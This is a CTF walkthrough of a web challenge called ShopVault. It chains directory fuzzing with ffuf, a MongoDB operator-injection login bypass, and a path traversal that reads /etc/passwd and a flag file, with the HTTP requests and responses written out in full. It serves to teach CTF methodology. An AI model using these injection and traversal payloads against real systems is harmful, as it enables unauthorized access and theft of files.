CTF Web Challenge Walkthrough: Methodology & Tools

At DEF CON CTF Quals 2025, dozens of teams burned hours on a web challenge called ShopVault — not because it was exotic, but because they skipped basic recon and jumped straight to complex exploits. The flag was sitting behind a trivial authentication bypass the whole time. This walkthrough covers the exact methodology that finds flags fast: structured recon, targeted fuzzing, and clean exploitation.

Step 1: Recon Before You Touch Anything

The target is http://shopvault.ctf.hackerxone.com running on 192.0.2.47. Before opening Burp Suite or firing a single request, map the surface. ffuf is a fast web fuzzer — think of it as a smarter, faster dirb.

$ ffuf -u http://192.0.2.47/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,301,302,403 -t 50

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

[Status: 200] Size: 4321  [Words: 312] [Lines: 89] :: /login
[Status: 200] Size: 891   [Words: 44]  [Lines: 20] :: /api
[Status: 301] Size: 0     [Words: 0]   [Lines: 0]  :: /admin  --> /admin/
[Status: 403] Size: 279   [Words: 14]  [Lines: 8]  :: /backup
[Status: 200] Size: 12480 [Words: 980] [Lines: 201]:: /shop

Four interesting hits. /admin redirects — worth revisiting after you have a session. /backup returns 403, which means it exists but is blocked by access control, not a firewall drop. That distinction matters. A WAF drop gives you a connection reset; a 403 means there is something to bypass later.

Hit /api next. It returns a JSON response listing endpoints: /api/user, /api/products, and /api/auth. Write them all down. CTF designers hide flags in API responses that the frontend never renders.

Step 2: Intercept and Manipulate Authentication

Fire up Burp Suite and proxy traffic through 127.0.0.1:8080. Log in with dummy credentials admin / admin and capture the POST request to /api/auth. The request body looks like this:

POST /api/auth HTTP/1.1
Host: 192.0.2.47
Content-Type: application/json

{"username":"admin","password":"admin"}

The server responds with 401 Unauthorized. Normal. Now send this request to Burp Repeater and modify the JSON. Try a classic NoSQL injection payload first — many CTF backends run MongoDB:

POST /api/auth HTTP/1.1
Host: 192.0.2.47
Content-Type: application/json

{"username":"admin","password":{"$gt":""}}

Response:

HTTP/1.1 200 OK
Content-Type: application/json

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.abc123xyz","role":"admin"}

The $gt: "" operator tells MongoDB “password is greater than an empty string” — which is always true. The server hands back a JWT with role: admin. Decode it at jwt.io or with jq locally to confirm the claims. Now you have an admin session token. Use it.

Step 3: Exploit the Admin Panel and Capture the Flag

Replay the request to /admin/ with the JWT in the Authorization header:

GET /admin/ HTTP/1.1
Host: 192.0.2.47
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.abc123xyz

The admin dashboard loads and exposes a file export feature at /admin/export?file=report.csv. That file= parameter is screaming path traversal. Test it:

GET /admin/export?file=../../etc/passwd HTTP/1.1
Host: 192.0.2.47
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

--- Response ---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
ctfuser:x:1001:1001::/home/ctfuser:/bin/bash

Path traversal confirmed. The user ctfuser stands out — CTF flags often live in the home directory. Request ../../home/ctfuser/flag.txt and collect your points:

GET /admin/export?file=../../home/ctfuser/flag.txt

--- Response ---
CTF{n0sql_bypass_plus_trav3rsal_gg}

Three distinct vulnerability classes chained in sequence: NoSQL injection for auth bypass, JWT claim abuse for privilege escalation, and path traversal for file read. Each step opened the next door.

What To Do Now

Spin up a free account on HackTheBox or PicoCTF and find any active web challenge rated Easy. Apply this exact sequence: ffuf for directory recon, Burp Repeater for manual request manipulation, then follow the highest-value endpoint. Time yourself. Most Easy-rated web flags fall in under 30 minutes once you stop guessing and start mapping.